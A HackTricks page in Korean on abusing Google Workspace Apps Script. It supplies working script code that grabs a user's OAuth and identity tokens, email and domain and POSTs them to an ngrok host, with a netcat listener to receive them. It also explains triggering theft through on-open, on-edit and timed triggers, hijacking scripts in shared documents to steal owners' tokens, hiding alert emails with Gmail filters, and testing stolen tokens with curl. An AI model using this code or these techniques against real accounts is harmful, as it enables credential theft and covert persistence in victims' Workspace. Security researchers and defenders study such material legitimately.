GWS - App Scripts

Support HackTricks

App Scripts

App Scripts는 사용자가 App Script와 연결된 문서에 편집자 권한으로 접근할 때 트리거되는 코드이며, OAuth 프롬프트를 수락한 후 실행됩니다. 또한 App Script의 소유자가 특정 시간마다 실행되도록 설정할 수 있습니다 (Persistence).

Create App Script

App Script를 생성하는 방법은 여러 가지가 있지만, 가장 일반적인 방법은 **Google 문서(모든 유형)**에서 생성하거나 독립형 프로젝트로 생성하는 것입니다:

Create a container-bound project from Google Docs, Sheets, or Slides
  1. Docs 문서, Sheets 스프레드시트 또는 Slides 프레젠테이션을 엽니다.

  2. Extensions > Google Apps Script를 클릭합니다.

  3. 스크립트 편집기에서 Untitled project를 클릭합니다.

  4. 프로젝트에 이름을 지정하고 Rename을 클릭합니다.

Create a standalone project

독립형 프로젝트를 Apps Script에서 생성하려면:

  1. script.google.com으로 이동합니다.

  2. New Project를 클릭합니다.

  3. 스크립트 편집기에서 Untitled project를 클릭합니다.

  4. 프로젝트에 이름을 지정하고 Rename을 클릭합니다.

Create a standalone project from Google Drive
  1. Google Drive를 엽니다.

  2. New > More > Google Apps Script를 클릭합니다.

Create a container-bound project from Google Forms
  1. Google Forms에서 양식을 엽니다.

  2. More more_vert > Script editor를 클릭합니다.

  3. 스크립트 편집기에서 Untitled project를 클릭합니다.

  4. 프로젝트에 이름을 지정하고 Rename을 클릭합니다.

Create a standalone project using the clasp command line tool

clasp는 터미널에서 Apps Script 프로젝트를 생성, 풀/푸시 및 배포할 수 있는 명령줄 도구입니다.

자세한 내용은 Command Line Interface using clasp guide를 참조하세요.

App Script Scenario

Create Google Sheet with App Script

App Script를 생성하는 것으로 시작합니다. 이 시나리오에 대한 제 추천은 Google Sheet를 생성하고 **Extensions > App Scripts**로 이동하는 것입니다. 이렇게 하면 시트에 연결된 새 App Script가 열립니다.

Leak token

OAuth 토큰에 접근을 허용하려면 Services +를 클릭하고 다음과 같은 범위를 추가해야 합니다:

  • AdminDirectory: 디렉토리의 사용자 및 그룹에 접근 (사용자가 충분한 권한이 있는 경우)

  • Gmail: Gmail 데이터에 접근

  • Drive: Drive 데이터에 접근

  • Google Sheets API: 트리거와 함께 작동하도록

필요한 범위를 직접 변경하려면 프로젝트 설정으로 이동하여 **Show "appsscript.json" manifest file in editor**를 활성화할 수 있습니다.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

요청을 캡처하려면 다음을 실행하면 됩니다:

ngrok tcp 4444
nc -lv 4444 #macOS

Permissions requested to execute the App Script:

외부 요청이 이루어지면 OAuth 프롬프트가 외부 엔드포인트에 접근할 권한을 요청합니다.

Create Trigger

앱을 읽은 후 ⏰ Triggers를 클릭하여 트리거를 생성합니다. function으로 **getToken**을 선택하고, 배포는 **Head**에서 실행되며, 이벤트 소스에서 **From spreadsheet**를 선택하고 이벤트 유형에서 On open 또는 On edit(필요에 따라) 선택 후 저장합니다.

디버깅을 원할 경우 Executions 탭에서 App Scripts의 실행을 확인할 수 있습니다.

Sharing

App Script트리거하기 위해 피해자는 편집자 권한으로 연결해야 합니다.

App Script를 실행하는 데 사용되는 토큰트리거의 생성자의 것이며, 다른 사용자가 편집자로 파일을 열더라도 동일합니다.

Abusing Shared With Me documents

누군가 App Scripts와 트리거가 있는 문서를 공유한 경우(고정 배포가 아닌 App Script의 Head 사용), App Script 코드를 수정할 수 있습니다(예: 토큰 훔치는 기능 추가), 접근할 수 있으며, App Script는 문서를 공유한 사용자의 권한으로 실행됩니다! (소유자의 OAuth 토큰은 트리거가 생성될 때 부여된 접근 범위를 가집니다).

스크립트의 수정이 있음을 나타내는 알림이 스크립트 생성자에게 전송됩니다(경고를 방지하기 위해 Gmail 권한을 사용하여 필터를 생성하는 것은 어떨까요?)

공격자가 App Script의 범위를 수정하더라도 업데이트는 새 트리거가 생성될 때까지 문서에 적용되지 않습니다. 따라서 공격자는 자신이 생성한 트리거에서 설정한 것보다 더 많은 범위로 소유자의 생성자 토큰을 훔칠 수 없습니다.

Copying instead of sharing

문서를 공유하기 위해 링크를 생성하면 다음과 유사한 링크가 생성됩니다: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit **"/edit"**를 **"/copy"**로 변경하면, 구글은 문서의 복사본을 생성할 것인지 묻습니다:

사용자가 복사하여 접근하면 문서의 내용과 App Scripts가 복사되지만, 트리거는 복사되지 않으므로 아무것도 실행되지 않습니다.

Sharing as Web Application

App Script를 웹 애플리케이션으로 공유하는 것도 가능합니다(App Script의 편집기에서 웹 애플리케이션으로 배포), 그러나 다음과 같은 경고가 나타납니다:

필요한 권한을 요청하는 전형적인 OAuth 프롬프트가 뒤따릅니다.

Testing

수집된 토큰을 테스트하여 이메일 목록을 나열할 수 있습니다:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

사용자의 캘린더 목록:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

App Script as Persistence

지속성을 위한 한 가지 옵션은 문서를 생성하고 getToken 함수에 대한 트리거를 추가한 다음 공격자와 문서를 공유하여 공격자가 파일을 열 때마다 희생자의 토큰을 유출하는 것입니다.

또한 App Script를 생성하고 X 시간마다(예: 매분, 매시간, 매일...) 트리거를 설정할 수 있습니다. 자격 증명이나 희생자의 세션이 손상된 공격자는 App Script 시간 트리거를 설정하고 매일 매우 특권이 있는 OAuth 토큰을 유출할 수 있습니다:

App Script를 생성하고 트리거로 이동하여 트리거 추가를 클릭한 다음 이벤트 소스로 시간 기반을 선택하고 자신에게 가장 적합한 옵션을 선택하세요:

이렇게 하면 보안 경고 이메일과 모바일에 대한 푸시 메시지가 생성됩니다.

Shared Document Unverified Prompt Bypass

게다가, 누군가 편집자 액세스가 있는 문서를 공유했다면, 문서 내에서 App Scripts를 생성할 수 있으며, **문서의 소유자(생성자)**가 App Script의 소유자가 됩니다.

이는 문서의 생성자가 문서 내에서 편집자 액세스를 가진 사람이 생성하는 모든 App Script의 생성자로 나타난다는 것을 의미합니다.

또한 App Script는 문서의 생성자의 Workspace 환경에서 신뢰받게 됩니다.

이는 또한 App Script가 이미 존재하고 사람들이 액세스를 부여한 경우, 문서에 편집자 권한이 있는 누구나 수정하고 그 액세스를 남용할 수 있다는 것을 의미합니다. 이를 남용하려면 사람들이 App Script를 트리거해야 합니다. 그리고 한 가지 유용한 트릭은 스크립트를 웹 앱으로 게시하는 것입니다. 이미 액세스를 부여한 사람들이 웹 페이지에 접근하면 App Script를 트리거하게 됩니다(이것은 <img> 태그를 사용해도 작동합니다).

Support HackTricks

Last updated